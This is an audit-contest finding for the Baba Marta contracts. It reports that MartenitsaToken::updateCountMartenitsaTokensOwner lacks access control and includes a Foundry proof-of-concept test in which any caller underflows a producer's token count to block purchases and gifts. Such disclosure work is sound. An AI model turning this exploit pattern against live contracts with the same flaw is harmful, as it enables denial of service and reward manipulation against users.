First Flight #13: Baba Marta
First Flight #13
Beginner FriendlyFoundryGameFi
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

MartenitsaToken::updateCountMartenitsaTokensOwner does not have the required access control in place, making it possible to manipulate the MartenitsaToken of any producer

0x0noob

Summary

It is possible for anyone to call MartenitsaToken::updateCountMartenitsaTokensOwner, which is used to track the MartenitsaToken balance of any producer. In a situation where sub is passed in the operation parameters after a producer listed its created nft, it will result in an underflow of the token been tracked in the MartenitsaToken::updateCountMartenitsaTokensOwner, making it impossible to buy the MartenitsaToken listed by that producer.

POC

contract POC is Test {
MartenitsaMarketplace martenitsaMarketplace;
HealthToken health;
MartenitsaToken martenitsaToken;
MartenitsaVoting voting;
​
address buyer = makeAddr("buyer");
​
address[] public producers;
address chasy = makeAddr("chasy");
​
function setUp() public {
producers.push(chasy);
martenitsaToken = new MartenitsaToken();
health = new HealthToken();
martenitsaMarketplace = new MartenitsaMarketplace(address(health), address(martenitsaToken));
voting = new MartenitsaVoting(address(martenitsaMarketplace), address(health));
​
health.setMarketAndVotingAddress(address(martenitsaMarketplace), address(voting));
martenitsaToken.setProducers(producers);
​
vm.deal(buyer, 2 ether);
}
​
function test_canManipulateToken() public {
vm.startPrank(chasy);
martenitsaToken.createMartenitsa("bracelet");
martenitsaMarketplace.listMartenitsaForSale(0, 1 wei);
martenitsaToken.approve(address(martenitsaMarketplace), 0);
vm.stopPrank();
​
vm.startPrank(buyer);
martenitsaToken.updateCountMartenitsaTokensOwner(chasy, "sub");
martenitsaMarketplace.buyMartenitsa{value: 1 wei}(0);
vm.stopPrank();
}
}

Impact

The POC above is proof that it would be impossible to buy a producers NFT whenever the sub is used in MartenitsaToken::updateCountMartenitsaTokensOwner to make the countMartenitsaTokensOwner[producer] to be zero hence leading to an underflow and making it impossible to buy that producers MartenitsaToken. This also affects the MartenitsaMarketplace::makePresent as it also uses MartenitsaToken::updateCountMartenitsaTokensOwner meaning that it is possible to make it impossible for a producer/owner of a MartenitsaToken to send out his token. It also affects the MartenitsaMarketplace::collectReward and it means that an attacker can be able to manipulate the MartenitsaToken he holds to extrach HealthToken.

Tools Used

Manual Review

Recommendations

Add a check in MartenitsaToken::updateCountMartenitsaTokensOwner to make it impossible for anyone to call the function except the address of the MartenitsaMarketplace.

Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Missing access control

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.